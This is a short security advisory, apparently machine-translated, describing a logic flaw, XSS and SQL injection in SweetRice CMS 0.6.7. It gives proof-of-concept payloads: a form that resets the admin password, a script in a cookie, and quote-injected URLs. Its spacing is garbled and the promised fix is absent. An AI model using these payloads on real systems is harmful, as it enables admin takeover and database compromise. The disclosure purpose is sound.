Multiple security vulnerabilities in SweetRice CMS and their repair

SweetRice is a simple content management system developed using PHP. SweetRice CMS 0.6.7 has multiple security vulnerabilities, including logical errors, cross-site scripting, and SQL injection.

[+] Info:
~~~~~~~~~
SweetRice CMS 0.6.7 Multiple Vulnerabilities
Vendor: basic-cms.org (http://www.basic-cms.org /)
Vulnerable Version: 0.6.7
Vendor Notification: 21 October 2010

[+] Poc:
~~~~~~~~~
Logic error:
The vulnerability exists due to failure in the "/as/index. php" scripts to properly sanitize user-supplied input. Attacker can change admin password.
The following PoC is available:
<Form action = "http: // [host]/as/index. php? Type = password & mod = resetok "method =" post ">
<Input name = "p1" type = "hidden" value = "123">
<Input name = "p2" type = "hidden" value = "123">
<Input name = "email" type = "hidden" value = "[admin_email]">
<Input value = "Login" name = "login" type = "submit">
</Form>

XSS:
GET/as/index. php HTTP/1.1
Cookie: top_height =) % 3B "> <script> alert (XSS) % 3B </script>;

SQL Injection:
Http: // [host]/index. php? Action = attachment & file_name = % 27
Http: // [host]/index. php? Action = show_comment & post = % 27
Http: // [host]/index. php? Action = rssfeed & type = entry & sys-name = % 27
Http: // [host]/index. php? Action = view & sys-name = % 27

[+] Reference:
~~~~~~~~~
Http://www.htbridge.ch/advisory/reset_admin_password_in_sweetrice_cms.html
Http://www.htbridge.ch/advisory/xss_in_sweetrice_cms.html
Http://www.htbridge.ch/advisory/ SQL _injection_in_sweetrice_cms.html

Solution: provided later